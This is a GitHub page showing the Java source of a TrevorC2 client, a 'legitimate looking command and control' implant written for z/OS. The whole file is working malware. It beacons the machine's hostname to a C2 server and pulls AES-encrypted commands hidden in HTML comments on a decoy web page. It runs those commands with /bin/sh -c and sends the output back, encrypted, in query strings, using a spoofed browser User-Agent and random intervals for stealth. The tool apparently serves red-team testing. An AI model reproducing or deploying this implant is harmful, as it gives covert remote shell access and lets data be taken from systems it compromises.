-
Notifications
You must be signed in to change notification settings - Fork 270
/
Copy pathtrevorc2_client.java
276 lines (250 loc) · 12.7 KB
/
trevorc2_client.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
import java.io.IOException;
import java.io.InputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.util.Random;
import java.net.CookieHandler;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.concurrent.TimeUnit;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.MessageDigest;
import java.security.SecureRandom;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.net.CookieManager;
import java.util.Formatter;
import java.io.Reader;
import java.nio.charset.Charset;
public class trevorc2_client {
/* TrevorC2 - Java Client - legitimate looking command and control
Written by: Soldier of FORTRAN @mainframed767
GIT: https://github.com/mainframed
Based on trevorc2_client.py from TrustedSec
Built and runs on z/OS
This is the client connection, and only an example. Refer to the readme
to build your own client connection to the server C2 infrastructure.
compile with `javac trevorc2_client.java` run with `java trevorc2_client`
*/
// CONFIG CONSTANTS:
// site used to communicate with (remote TrevorC2 site)
private static String SITE_URL = "http://127.0.0.1";
// THIS IS WHAT PATH WE WANT TO HIT FOR CODE - YOU CAN MAKE THIS ANYTHING EXAMPLE: /index.aspx (note you need to change this as well on trevorc2_server)
private static String ROOT_PATH_QUERY = "/";
// THIS FLAG IS WHERE THE CLIENT WILL SUBMIT VIA URL AND QUERY STRING GET PARAMETER
private static String SITE_PATH_QUERY = "/images";
// THIS IS THE QUERY STRING PARAMETER USED
private static String QUERY_STRING = "guid=";
// STUB FOR DATA - THIS IS USED TO SLIP DATA INTO THE SITE, WANT TO CHANGE THIS SO ITS NOT STATIC
private static String STUB = "oldcss=";
// time_interval is the time used between randomly connecting back to server, for more stealth, increase this time a lot and randomize time periods
private static int time_interval1 = 2;
private static int time_interval2 = 8;
// THIS IS OUR ENCRYPTION KEY - THIS NEEDS TO BE THE SAME ON BOTH SERVER AND CLIENT FOR APPROPRIATE DECRYPTION. RECOMMEND CHANGING THIS FROM THE DEFAULT KEY
private static String CIPHER = ("Tr3v0rC2R0x@nd1s@w350m3#TrevorForget");
// DO NOT CHANGE BELOW THIS LINE
private static int getRandomNumberInRange(int min, int max) {
if (min >= max) {
throw new IllegalArgumentException("max must be greater than min");
}
Random r = new Random();
return r.nextInt((max - min) + 1) + min;
}
private static void ConnectTrevor() {
while(true){
String HOSTNAME = "";
try {
InetAddress machine = InetAddress.getLocalHost();
HOSTNAME = "magic_hostname=" + machine.getHostName();
} catch (UnknownHostException ex) {
ex.printStackTrace();
}
try {
String S = AES.encrypt(HOSTNAME, CIPHER);
String HOSTNAME_SEND = Base64.getEncoder().encodeToString(S.getBytes("UTF-8"));
String turl = SITE_PATH_QUERY + "?" + QUERY_STRING + HOSTNAME_SEND;
URL url = new URL(SITE_URL + turl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setRequestProperty("Accept-Encoding", "identity");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko");
connection.setRequestProperty("Connection", "close");
connection.setReadTimeout(15*1000);
connection.connect();
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
break;
} catch (Exception e) {
System.out.println("[-] Failed to connect");
System.out.println("[-] Error: " + e);
int seconds = getRandomNumberInRange(time_interval1,time_interval2);
System.out.println(String.format("[-] Reconnecting in %d seconds", seconds));
try {
TimeUnit.SECONDS.sleep(seconds);
} catch (Exception y_tho) {
// do nothing, just chill ok?
}
}
}
}
public static void main(String[] args) {
CookieManager cookieManager = new CookieManager();
CookieHandler.setDefault(cookieManager);
String HOSTNAME = "";
String HOST = "";
try {
InetAddress machine = InetAddress.getLocalHost();
HOSTNAME = machine.getHostName();
} catch (UnknownHostException ex) {
ex.printStackTrace();
}
ConnectTrevor();
while(true) {
int seconds = getRandomNumberInRange(time_interval1,time_interval2);
try {
TimeUnit.SECONDS.sleep(seconds);
} catch (Exception y_tho) {
// do nothing, just chill ok?
}
// Time to connect
try {
URL url = new URL(SITE_URL + ROOT_PATH_QUERY);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setRequestProperty("Accept-Encoding", "identity");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko");
connection.setRequestProperty("Connection", "close");
connection.setRequestProperty("Content-Length", "1000");
connection.setReadTimeout(15*1000);
connection.connect();
String b64Data = "";
InputStream inputStream = connection.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line = bufferedReader.readLine();
int count = 0;
while (line != null) {
if (count % 100 == 1 ) {
System.out.print(" .");
}
count++;
line = bufferedReader.readLine();
if (line.contains("<!-- " + STUB)) {
b64Data = line.split("<!-- " + STUB)[1].split(" -->")[0];
break;
}
}
bufferedReader.close();
connection.disconnect();
String parse = AES.decrypt(b64Data, CIPHER);
if (parse.equals("nothing")) {
// Do nothing like it says
} else if (parse.contains(HOSTNAME)) {
String cmd = parse.split(HOSTNAME+"::::")[1];
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/sh","-c", cmd);
processBuilder.redirectErrorStream(true);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String cmdLine;
StringBuilder sb = new StringBuilder();
while ((cmdLine = reader.readLine()) != null) {
sb.append(cmdLine+"\n");
}
String b64out = AES.encrypt(HOSTNAME+"::::"+sb.toString(), CIPHER);
String CMD_SEND = Base64.getEncoder().encodeToString(b64out.getBytes("UTF-8"));
String turl = SITE_PATH_QUERY + "?" + QUERY_STRING + CMD_SEND;
URL surl = new URL(SITE_URL + turl);
HttpURLConnection sconnection = (HttpURLConnection) surl.openConnection();
sconnection.setRequestMethod("GET");
sconnection.setRequestProperty("Accept-Encoding", "identity");
sconnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko");
sconnection.setRequestProperty("Connection", "close");
sconnection.setReadTimeout(15*1000);
sconnection.connect();
BufferedReader sreader = new BufferedReader(new InputStreamReader(sconnection.getInputStream()));
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} catch (Exception e) {
System.out.println("[-] Failed to connect");
System.out.println("[-] Error: " + e);
}
}
}
} // end trevorc2_client
// AES from https://gist.github.com/itarato/abef95871756970a9dad
class AES {
private static Charset UTF8_CHARSET = Charset.forName("UTF-8");
public static String decodeUTF8(byte[] bytes) {
return new String(bytes, UTF8_CHARSET);
}
public static byte[] encodeUTF8(String string) {
return string.getBytes(UTF8_CHARSET);
}
public static String encrypt(String plainText, String key) throws Exception {
byte[] clean = plainText.getBytes("UTF-8");
// Generating IV.
int ivSize = 16;
byte[] iv = new byte[ivSize];
SecureRandom random = new SecureRandom();
random.nextBytes(iv);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
// Hashing key.
MessageDigest digest = MessageDigest.getInstance("SHA-256");
digest.update(key.getBytes("UTF-8"));
byte[] keyBytes = new byte[32];
// This will typically be installed already but
// this will cause an error unless you download this: https://public.dhe.ibm.com/ibmdl/export/pub/systems/cloud/runtimes/java/security/jce_policy/
// and install it according to this: https://www.ibm.com/developerworks/community/blogs/a9ba1efe-b731-4317-9724-a181d6155e3a/entry/error_illegal_key_size_when_trying_to_generate_a_certificate_signing_request?lang=en
// More info: https://www.ibm.com/support/knowledgecenter/SSYKE2_8.0.0/com.ibm.java.security.component.80.doc/security-component/sdkpolicyfiles.html
System.arraycopy(digest.digest(), 0, keyBytes, 0, keyBytes.length);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");
// Encrypt.
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(clean);
// Combine IV and encrypted part.
byte[] encryptedIVAndText = new byte[ivSize + encrypted.length];
System.arraycopy(iv, 0, encryptedIVAndText, 0, ivSize);
System.arraycopy(encrypted, 0, encryptedIVAndText, ivSize, encrypted.length);
return Base64.getEncoder().encodeToString(encryptedIVAndText);
}
public static String decrypt(String encryptedIvText, String key) throws Exception {
int ivSize = 16;
int keySize = 32;
byte[] encryptedIvTextBytes = Base64.getDecoder().decode(encryptedIvText);
// Extract IV.
byte[] iv = new byte[ivSize];
System.arraycopy(encryptedIvTextBytes, 0, iv, 0, iv.length);
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
// Extract encrypted part.
int encryptedSize = encryptedIvTextBytes.length - ivSize;
byte[] encryptedBytes = new byte[encryptedSize];
System.arraycopy(encryptedIvTextBytes, ivSize, encryptedBytes, 0, encryptedSize);
// Hash key.
byte[] keyBytes = new byte[keySize];
MessageDigest md = MessageDigest.getInstance("SHA-256");
md.update(key.getBytes("UTF-8"));
System.arraycopy(md.digest(), 0, keyBytes, 0, keyBytes.length);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES");
// Decrypt.
Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decrypted = cipherDecrypt.doFinal(encryptedBytes);
String ebcdic = decodeUTF8(decrypted);
String OS = System.getProperty("os.name").toLowerCase();
if (OS.equals("z/os")) {
return new String(ebcdic);
} else {
return new String(decrypted);
}
}
}